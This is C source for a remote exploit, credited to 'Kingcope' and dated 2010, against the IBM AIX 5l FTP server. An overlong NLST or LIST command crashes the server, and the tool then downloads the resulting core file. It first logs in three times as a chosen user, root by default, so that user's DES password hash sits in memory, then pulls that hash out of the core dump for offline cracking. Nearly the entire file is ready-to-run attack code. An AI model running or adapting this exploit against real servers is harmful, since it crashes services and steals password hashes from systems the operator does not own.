328 lines
No EOL
7.5 KiB
C
328 lines
No EOL
7.5 KiB
C
/*
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* IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
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*
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* Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
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*
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* bug found & exploited by Kingcope
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*
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* Version 2.0 - July 2010
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* ----------------------------------------------------------------------------
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* Description: -
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* The AIX 5l FTP-Server crashes when an overly long NLST command is supplied -
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* For example: NLST ~AAAAA...A (2000 A´s should be enough) -
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* The fun part here is that it creates a coredump file in the current -
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* directory if it is set writable by the logged in user. -
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* The goal of the exploit is to get the DES encrypted user hashes -
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* off the server. These can be later cracked with JtR. -
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* This is accomplished by populating the memory with logins of the user -
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* we would like the encrypted hash from. Logging in three times with the -
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* target username should be enough so that the DES hash is included in the -
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* 'core' file. -
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* The FTPd banner looks like below. -
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* 220 AIX5l FTP-Server (Version 4.1 Tue May 29 11:57:21 CDT 2001) ready. -
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* 220 AIX5l FTP server (Version 4.1 Wed Mar 2 15:52:50 CST 2005) ready. -
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* ----------------------------------------------------------------------------
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netdb.h>
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#include <fcntl.h>
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int createconnection(char *target, char *targetport);
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void getline(int s);
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void putline(int s, char *out);
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void usage(char *exe);
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char in[8096];
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char out[8096];
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int main(int argc, char *argv[])
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{
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extern int optind;
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extern char *optarg;
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int haveuser=0,havepassword=0;
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int s,s2,nsock;
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int c,k,len;
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int fd;
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char *target = NULL;
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char *username = "ftp";
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char *password = "guest";
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char *writeto = "pub";
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char *crackme = "root";
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char *targetport = "21";
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int uselist = 0;
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char *myip = NULL;
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char *as = NULL;
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int octet_in[4], port;
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struct sockaddr_in yo, cli;
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char *oct = NULL;
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while ((c = getopt(argc, argv, "h:i:p:l:k:d:c:s")) != EOF) {
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switch(c) {
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case 'h':
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target = (char*)malloc(strlen(optarg)+1);
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strcpy(target, optarg);
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break;
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case 'i':
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myip = (char*)malloc(strlen(optarg)+1);
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strcpy(myip, optarg);
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break;
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case 'p':
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targetport = (char*)malloc(strlen(optarg)+1);
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strcpy(targetport, optarg);
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break;
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case 'l':
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username = (char*)malloc(strlen(optarg)+1);
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strcpy(username, optarg);
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haveuser = 1;
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break;
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case 'k':
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password = (char*)malloc(strlen(optarg)+1);
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strcpy(password, optarg);
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havepassword = 1;
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break;
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case 'd':
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writeto = (char*)malloc(strlen(optarg)+1);
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strcpy(writeto, optarg);
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break;
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case 'c':
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crackme = (char*)malloc(strlen(optarg)+1);
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strcpy(crackme, optarg);
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break;
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case 's':
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uselist = 1;
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break;
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default:
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usage(argv[0]);
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}
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}
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if (target == NULL || myip == NULL)
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usage(argv[0]);
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if ((haveuser && !havepassword) || (!haveuser && havepassword)) {
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usage(argv[0]);
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}
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s = createconnection(target, targetport);
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getline(s);
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fprintf(stderr, "populating DES hash in memory...\n");
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for (k=0;k<3;k++) {
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snprintf(out, sizeof out, "USER %s\r\n", crackme);
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putline(s, out);
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getline(s);
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snprintf(out, sizeof out, "PASS abcdef\r\n");
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putline(s,out);
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getline(s);
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}
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fprintf(stderr, "logging in...\n");
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snprintf(out, sizeof out, "USER %s\r\n", username);
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putline(s, out);
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getline(s);
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snprintf(out, sizeof out, "PASS %s\r\n", password);
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putline(s,out);
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getline(s);
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getline(s);
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fprintf(stderr, "changing directory...\n");
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snprintf(out, sizeof out, "CWD %s\r\n", writeto);
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putline(s, out);
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getline(s);
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fprintf(stderr, "triggering segmentation violation...\n");
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as = (char*)malloc(2000);
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memset(as, 'A', 2000);
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as[2000-1]=0;
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if (!uselist) {
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snprintf(out, sizeof out, "NLST ~%s\r\n", as);
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} else {
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/* AIX 5.3 trigger - thanks to karol */
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snprintf(out, sizeof out, "LIST ~%s\r\n", as);
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}
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putline(s, out);
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memset(in, '\0', sizeof in);
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if (recv(s, in, sizeof in, 0) < 1) {
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printf("trigger succeeded!\nwaiting for core file to be created...\n");
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} else {
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printf("trigger seems to have failed, proceeding anyways...\n"
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"\nwaiting for core file to be created...\n");
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}
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sleep(5);
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close(s);
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s = createconnection(target, targetport);
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getline(s);
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fprintf(stderr, "logging in 2nd time...\n");
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snprintf(out, sizeof out, "USER %s\r\n", username);
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putline(s, out);
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getline(s);
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snprintf(out, sizeof out, "PASS %s\r\n", password);
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putline(s,out);
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getline(s);
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getline(s);
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fprintf(stderr, "changing directory...\n");
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snprintf(out, sizeof out, "CWD %s\r\n", writeto);
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putline(s, out);
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getline(s);
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fprintf(stderr, "getting core file...\n");
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snprintf(out, sizeof out, "TYPE I\r\n");
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putline(s, out);
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getline(s);
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port = getpid() + 1024;
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len = sizeof(cli);
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bzero(&yo, sizeof(yo));
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yo.sin_family = AF_INET;
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yo.sin_port=htons(port);
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yo.sin_addr.s_addr = htonl(INADDR_ANY);
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oct=(char *)strtok(myip,".");
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octet_in[0]=atoi(oct);
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oct=(char *)strtok(NULL,".");
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octet_in[1]=atoi(oct);
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oct=(char *)strtok(NULL,".");
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octet_in[2]=atoi(oct);
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oct=(char *)strtok(NULL,".");
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octet_in[3]=atoi(oct);
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snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
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putline(s, out);
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getline(s);
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if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
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perror("socket");
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return -1;
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}
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if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) {
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perror("bind");
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close(s2);
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exit(1);
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}
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if (listen(s2, 10) < 0) {
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perror("listen");
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close(s2);
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exit(1);
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}
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snprintf(out, sizeof out, "RETR core\r\n");
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putline(s, out);
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getline(s);
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if (strstr(in, "150") == NULL) {
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fprintf(stderr, "core file not found... terminating.\n");
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close(s);
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exit(1);
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}
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fd = open("core", O_WRONLY | O_CREAT);
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if (fd == -1) {
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perror("open on local core file");
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close(s);
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exit(1);
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}
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sleep(1);
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if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) {
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perror("accept");
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close(s);
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exit(1);
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}
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do {
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k = recv(nsock, in, sizeof in, 0);
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if (k < 1) break;
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write(fd, in, k);
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} while (k > 0);
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close(nsock);
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close(fd);
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close(s);
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fprintf(stderr, "finally extracting DES hashes from core file for user '%s'...\n", crackme);
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system("strings core | grep '^[A-Za-z0-9]\\{13\\}$'");
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fprintf(stderr, "done.\n");
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return 0;
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}
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int createconnection(char *target, char *targetport) {
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struct addrinfo hints, *res;
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int s;
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memset(&hints, 0, sizeof hints);
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hints.ai_family = AF_UNSPEC;
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hints.ai_socktype = SOCK_STREAM;
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if (getaddrinfo(target, targetport, &hints, &res)) {
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perror("getaddrinfo");
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exit(1);
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}
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s = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
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if (s < 0) {
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perror("socket");
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exit(1);
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}
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if (connect(s, res->ai_addr, res->ai_addrlen) < 0) {
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perror("connect");
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exit(1);
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}
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return s;
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}
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void getline(int s)
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{
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memset(in, '\0', sizeof in);
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if (recv(s, in, sizeof in, 0) < 1) {
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perror("recv");
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close(s);
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exit(1);
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}
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fprintf(stderr, "<\t%s", in);
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}
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void putline(int s, char *out) {
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fprintf(stderr, ">\t%s", out);
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if (send(s, out, strlen(out), 0) == -1) {
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perror("send");
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close(s);
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exit(1);
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}
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}
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void usage(char *exe)
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{
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fprintf(stderr, "%s <-h host> <-i your internal ip> [-p port] [-l username] [-k password]"
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" [-d writable directory] [-c user to crack] [-s use 'LIST' command on AIX 5.3]\n",
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exe);
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exit(0);
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} |